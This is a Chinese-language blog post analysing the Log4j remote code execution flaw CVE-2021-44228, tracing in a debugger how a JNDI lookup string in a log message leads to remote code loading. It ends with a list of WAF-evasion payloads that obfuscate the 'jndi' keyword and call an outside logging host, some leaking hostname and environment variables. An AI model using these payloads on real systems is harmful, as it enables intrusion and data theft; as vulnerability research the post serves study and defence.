基本概述
Apache Log4j是一个流行的Java日志框架,用于将应用程序的日志输出到不同的目标,如文件、控制台或远程服务器。
2021年被爆存在远程代码执行漏洞,CVE漏洞编号为CVE-2021-44228,该漏洞可能导致远程代码执行,该漏洞的根本原因在于Log4j2中的一个特性,它允许开发人员通过特殊的日志消息来触发远程代码执行。具体来说,当Log4j2解析包含特定的JNDI(Java命名和目录接口)引用的日志消息时,它将尝试通过JNDI查找来获取对应资源的引用。攻击者可以构造一个恶意的JNDI引用,通过发送包含该引用的日志消息来触发远程代码执行。
影响版本
2.0.0 <= Apache Log4j <= 2.14.0
JDK影响版本是根据JDK本身版本有关,高版本也存在被绕过风险
Log4j使用基础
使用Log4j先引入依赖
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
在 resources
文件夹中新建 log4j2.xml
文件,用于配置log4j
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
</Console>
<File name="File" fileName="logs/application.log">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
</File>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console" />
<AppenderRef ref="File" />
</Root>
</Loggers>
</Configuration>
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Main.class);
logger.info("这是一条日志"); // 这是一条日志
logger.info("${java:os}"); // Mac OS X 10.16 unknown, architecture: x86_64-64
logger.info("${upper:aaa}"); // AAA
}
}
${}
在Log4j中被称为变量插值,它是一种特殊的语法,用于在日志消息中引用和替换变量的值,通过在 ${}
中指定变量名称,Log4j可以动态地将变量的值插入到日志消息中
需要注意的是,在Log4j中使用变量插值时,变量的值可以从不同的来源获取,例如系统属性、环境变量、配置文件等。这使得Log4j可以根据不同的部署环境和配置文件进行灵活的日志定制
CVE-2021-44228调试分析
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Main.class);
logger.info("${jndi:ldap://127.0.0.1:8085/kOXQHHlE}");
}
}
在 info
方法中,判断了是否开启了日志记录
调用了 logMessageSafely
方法,用于将日志安全的记录到日志文件中,确保不会记录日志消息时发生任何异常和错误,继续往下走
logMessageTrackRecursion
方法用于记录递归调用的日志信息,再继续往下走
tryLogMessage
方法尝试记录日志消息,分析切入点正是这里
在这个方法里其实就是调用了 log
方法,如果出现异常,则抛出异常,跟进 log
方法看一下
获取了 Logger
的日志记录器配置对象,再调用了 log
方法
在该方法中通过日志事件工厂对象 logEventFactory
创建了一个Log4j日志事件对象,并作为参数调用了 log
方法,继续往下走
这里调用 processLogEvent
方法处理日志事件
这里就是对日志事件的输出目标附加器进行遍历,我们再来看下在 callAppender
方法中做了什么
shouldSkip
方法用于控制和判断日志事件是否被过滤或是否存在递归调用,随后调用了 callAppenderPreventRecursion
预防递归调用附加器方法
到了这里尝试对Log4j日志事件对象调用附加器,继续跟进
这里将日志事件对象添加到 ConsoleAppender
附加器中
append
方法中调用了 tryAppend
方法,在该方法中判断了是否开启了直接编码器,默认是开启的,调用 directEncodeEvent
方法
在这里获取了日志事件布局,在日志事件布局中包含输出的格式、日期、日志级别、消息内容等信息,再调用了日志事件布局对象的 encode
方法
调用 toText
方法将日志事件序列化为字符串
在该方法中调用序列化器的 toSerializable
方法,serializer
其实就是模式序列化器,有如下的模式格式化器:
DatePatternConverter
LiteralPatternConverter
ThreadNamePatternConverter
LiteralPatternConverter
LevelPatternConverter
LiteralPatternConverter
LoggerPatternConverter
LiteralPatternConverter
MessagePatternConverter
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter
我们需要关注是 MessagePatternConverter
消息格式转换器,因为只有这一格式转换器是我们可控的,也就是一开始传入的参数 message
,我们跟进一下toSerializable方法
这里其实就是对模式序列化器进行遍历格式化调用 format
方法,我们的关注点是在 MessagePatternConverter
中,所以跳过无关紧要的格式转换器,直接到索引为8的 PatternFormatter
模式格式化器 format
方法中看做了什么
调用了转换器的 format
方法,目前的转换器是 MessagePatternConverter
msg
对象中的 message
就是我们一开始传入参数的日志消息,随后将 msg
对象强转成 StringBuilderFormattable
类型再调用了 formatTo
方法
workingBuilder
对象存放的就是日志输出的前缀信息
这里其实就是将 message
内容追加到 workingBuilder
中
noLookups
默认为false,这里对 workingBuilder
内容进行遍历,判断第一个字符和第二个字符是否分别为 $
和 {
符号,value
变量就是截取的字符串 ${jndi:ldap://127.0.0.1:8085/kOXQHHlE}
,接着设置 workingBuilder
的长度为 offset
,并追加内容为 config.getStrSubstitutor().replace()
方法的返回值
replace
方法中调用了 substitute
方法
substitute
方法的前面部分主要是获取了变量的前缀和后缀匹配器,前缀匹配器为 $
和 {
,后缀匹配器为 }
,再获取了转义特殊字符的转义字符也就是 $
和分隔符匹配器 :
和 -
,接着就是把 buf
对象转换为字符数组,从0开始循环一直到这个字符串的长度38为止,然后依次循环匹配是否到前缀匹配器,前两个就匹配到了,返回值不是0所以走else语句
接着就是继续循环查找后缀匹配器
bufName
变量就是去掉前缀和后缀匹配器后的字符串,然后再调用了 substitute
方法
还是到了这个方法里,再重复上面的操作,一直找前缀匹配器找不到,后面接着查找分隔符匹配器也没有找到,然后就是调用 resolveVariable
方法解析变量
在该方法里获取了变量解析器,解析器支持的Lookup如上图所示
对 var
的字符串以 :
分割,获取了后面的内容,并且获取字符串的前缀 jndi
,再从 StrLookupMap
对象中查找对应的 Lookup
类,接着就是调用了 JndiLookup
类的 lookup
方法
然后就是获取了默认的JNDI管理器,通过该管理器调用 lookup
方法
这里就是调用了原生的 lookup
方法,后面就是JNDI注入了,执行了恶意ldap服务上的恶意代码,最终成功执行
Payload变形绕过WAF
${jndi:ldap://127.0.0.1:1389/a}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceye.io/a}
${${::-j}ndi:rmi://ceye.io/a}
${jndi:rmi://ceye.io}
${${lower:jndi}:${lower:rmi}://ceye.io/a}
${${lower:${lower:jndi}}:${lower:rmi}://ceye.io/a}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://ceye.io/a}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${upper:jndi}:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://ceye.io/a}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://ceye.io/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.ceye.io}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.ceye.io}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.ceye.io
参考链接
Author: wileysec
Permalink: https://wileysec.github.io/91ba9d0d39fd.html
Comments